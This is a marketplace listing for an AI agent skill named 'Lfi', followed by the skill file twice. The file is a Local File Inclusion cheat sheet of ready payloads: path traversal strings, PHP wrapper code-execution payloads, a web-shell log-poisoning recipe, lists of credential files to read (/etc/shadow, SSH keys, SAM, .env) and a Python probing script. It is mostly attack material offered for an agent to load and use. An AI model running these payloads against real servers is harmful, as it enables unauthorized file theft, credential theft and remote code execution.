How do I install the Lfi skill?

Run npx skillmds@latest add tomevault-io/lfi in your terminal (requires Node.js), paste this page's agent-chat prompt into Claude, Cursor, or any MCP-connected agent, or download the SKILL.md file and copy it into your agent's skills directory.

What does the Lfi skill do?

Local File Inclusion testing methodology Use when this capability is needed. It is listed under Coding & Dev Tools on SkillMD.

This skill has not completed SkillMD's automated safety review yet. Independent scanners report: SkillSpector: WARNING, Skill Scanner: PASS. SkillMD never runs a skill's scripts for you; review the SKILL.md before installing.

Which AI agents work with Lfi?

This skill is tagged as working with Claude Code, Claude.ai, OpenAI Codex. SKILL.md is an open format, so most agents that read a skills directory can load it too.

Yes. Installing skills from SkillMD is free, and the skill stays under its author's original license.

tomevault-io (@tomevault-io) published this skill. Their other Agent Skills are listed on their SkillMD profile.

Lfi by tomevault-io — Agent Skill

Name: Lfi
Author: tomevault-io

File contents

LFI Testing Methodology

Overview

LFI allows attackers to include files from the server, potentially reading sensitive data or achieving RCE.

Basic Payloads

../../../etc/passwd
....//....//....//etc/passwd
..%2f..%2f..%2fetc/passwd
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd
....\/....\/....\/etc/passwd

Null Byte Injection (PHP <5.3)

../../../etc/passwd%00
../../../etc/passwd%00.jpg

Path Truncation (Windows)

../../../etc/passwd.......................

Wrapper Payloads

PHP Filters

php://filter/convert.base64-encode/resource=/etc/passwd
php://filter/read=string.rot13/resource=/etc/passwd

PHP Input (RCE)

php://input
POST data: <?php system('id'); ?>

Data Wrapper

data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOyA/Pg==

Expect Wrapper

expect://id

ZIP Wrapper

zip://shell.jpg%23shell.php

Common Files to Read

Linux

/etc/passwd
/etc/shadow
/etc/hosts
/proc/self/environ
/proc/self/cmdline
/var/log/apache2/access.log
~/.ssh/id_rsa

Windows

C:\Windows\System32\config\SAM
C:\Windows\win.ini
C:\inetpub\wwwroot\web.config

Application

../config/database.yml
../.env
../wp-config.php

Log Poisoning (RCE)

# Inject PHP in User-Agent
User-Agent: <?php system($_GET['cmd']); ?>

# Include the log
../../../var/log/apache2/access.log&cmd=id

PoC Template

import requests
import base64

def test_lfi(url, param):
    payloads = [
        '../../../etc/passwd',
        'php://filter/convert.base64-encode/resource=/etc/passwd',
    ]
    
    for payload in payloads:
        r = requests.get(url, params={param: payload})
        
        if 'root:' in r.text:
            print(f"[+] LFI found with: {payload}")
            return True
        
        # Check for base64 encoded output
        try:
            decoded = base64.b64decode(r.text)
            if b'root:' in decoded:
                print(f"[+] LFI found (base64): {payload}")
                return True
        except:
            pass
    
    return False

Impact

Read sensitive files
Source code disclosure
Credential theft
Remote Code Execution (via log poisoning)

Converted and distributed by TomeVault — claim your Tome and manage your conversions.

---name: lfidescription: Local File Inclusion testing methodology Use when this capability is needed.---# LFI Testing Methodology## OverviewLFI allows attackers to include files from the server, potentially reading sensitive data or achieving RCE.## Basic Payloads```../../../etc/passwd....//....//....//etc/passwd..%2f..%2f..%2fetc/passwd%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd....\/....\/....\/etc/passwd```## Null Byte Injection (PHP <5.3)```../../../etc/passwd%00../../../etc/passwd%00.jpg```## Path Truncation (Windows)```../../../etc/passwd.......................```## Wrapper Payloads### PHP Filters```php://filter/convert.base64-encode/resource=/etc/passwdphp://filter/read=string.rot13/resource=/etc/passwd```### PHP Input (RCE)```php://inputPOST data: <?php system('id'); ?>```### Data Wrapper```data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOyA/Pg==```### Expect Wrapper```expect://id```### ZIP Wrapper```zip://shell.jpg%23shell.php```## Common Files to Read### Linux```/etc/passwd/etc/shadow/etc/hosts/proc/self/environ/proc/self/cmdline/var/log/apache2/access.log~/.ssh/id_rsa```### Windows```C:\Windows\System32\config\SAMC:\Windows\win.iniC:\inetpub\wwwroot\web.config```### Application```../config/database.yml../.env../wp-config.php```## Log Poisoning (RCE)```# Inject PHP in User-AgentUser-Agent: <?php system($_GET['cmd']); ?># Include the log../../../var/log/apache2/access.log&cmd=id```## PoC Template```pythonimport requestsimport base64def test_lfi(url, param): payloads = [ '../../../etc/passwd', 'php://filter/convert.base64-encode/resource=/etc/passwd', ] for payload in payloads: r = requests.get(url, params={param: payload}) if 'root:' in r.text: print(f"[+] LFI found with: {payload}") return True # Check for base64 encoded output try: decoded = base64.b64decode(r.text) if b'root:' in decoded: print(f"[+] LFI found (base64): {payload}") return True except: pass return False```## Impact- Read sensitive files- Source code disclosure- Credential theft- Remote Code Execution (via log poisoning)---> Converted and distributed by [TomeVault](https://tomevault.io/claim/omkar-ukirde) — claim your Tome and manage your conversions.

Frequently asked questions

Lfi